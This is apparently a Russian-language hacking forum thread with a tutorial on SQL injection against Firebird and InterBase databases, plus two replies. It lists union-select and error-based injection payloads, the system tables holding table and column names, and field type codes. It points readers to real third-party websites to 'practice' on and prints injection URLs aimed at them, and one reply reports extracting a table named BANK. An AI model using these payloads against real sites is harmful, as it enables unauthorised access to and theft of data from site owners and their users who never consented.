история вопроса: почему firebird а не interbase? - бесплатность, распостраненность, функциональность, а в остальном они схожи ) особенности: 1. select запросы должны содержать кейворды from table 2. аналоги limit'a: interbase >= 6.5 Code: select * from table order by <field_list> [ROWS <lower_value> [TO <upper_value>] [BY <step_value>] Firebird >= 1.0 select first [limit] skip [at], подробности Firebird >= 2.0 так же поддерживает rows, подробности 3. символы комментариев: 3.1 -- firebird (>1.0) 3.2 а что мешает продолжить запрос?) interbase, firebird все версии =) 4. datatypes 5. discovering warning: + php функции: ibase_query() ibase_fetch_row() ibase_fetch_object() ibase_fetch_assoc() ibase_free_result() 6. конкатенация осуществляется символами || Теперь о самих sqli: способ 1 (union select) подбор колонок: 1) Дедовский способ: Code: ?param=1+union+select+1+from+rdb$relations-- характерная ошибка: Invalid command count of column list and variable list do not match 2) order/group by Code: ?param=1+order+by+99-- характерная ошибка: Invalid column position used in the ORDER BY а дальше 2 варианта развития событий, либо типы столбцов не совпадают (Invalid command Data type unknown) и вам придется шаманить с cast(lala as datatype(n)) см. особенность (4) либо вам повезло (с вероятностью 0.0001%)) и типы данных совпадают как, например, (сейчас и в дальнейшем главный подопытный) здесь: способ 2 (conversion error) состовляем подзапрос: и ловим следущую ошибку: conversion error from string "RDB$PAGES" внимание, если появляется ошибка: arithmetic exception, numeric overflow, or string truncation конвертируем данные с cast(lala as datatype(n)) теперь, независимо от выбранного вами способа, надо рассказать о некоторых системных таблицах firebird rdb$relation - аналог information_schema.tables полезные колонки: Code: rdb$relation_name - имя таблицы rdb$system_flag - принадлежность таблицы к системным (хороший способ отсеивания, 1 = системная) rdb$relation_fields - поля для таблиц полезные колонки: Code: rdb$field_name - очевидно из названия rdb$system_flag - то же самое rdb$field_position - порядковый номер поля rdb$relation_name, rdb$base_field - определяют имена таблиц так же хотелось бы отметить присутствие колонки rdb$field_source, она содержит имя домена, автоматически прописанного для каждого столбца в rdb$fields, которая в свою очередь содержит колонку rdb$field_type, определяющую тип поля: Code: 261 - BLOB 14 - CHAR 40 - CSTRING 11 - DFLOAT 27 - DOUBLE 10 - FLOAT 16 - INT64 8 - INTEGER 9 - QUAD 7 - SMALLINT 12 - DATE 13 - TIME 35 - TIMESTAMP 37 - VARCHAR что в теории в купе с bsqli может быть полезным для способа union select how to use: настало время вывести 1ую таблицу из rdb$relations, делается это так: => conversion error from string "ACCESS" далее, n=1,2,... таблицы повторяются, поэтому желательно использовать оператор distinct: колонки (если ковычки слешируются можно воспользоватся функцией ascii_char (firebird 2.1), в InterBase по дефолту (поправте если ошибаюсь) вообще нет строковых функций=)): выводим данные: возможен и посимвольный перебор (n=1,2,...): хорошая картинко: потренероваться можно здесь: http://www.ppc4all.com/category.php?cat=(select+first+1+user+from+rdb$relation_fields)
Как раз Firebased SQL Code: http://crimea.ua/category.php?id=18%27+union+select+1,2+--+ но не прокатывает
Code: http://seafarer.od.ua/?page=study&course=[COLOR=DarkOrange]-2+union+select+1,rdb$relation_name,3,4,5,6,7+from+rdb$relations+--+[/COLOR] Ну вывел я таблицу BANK Смотрел обучалку Но там другой способ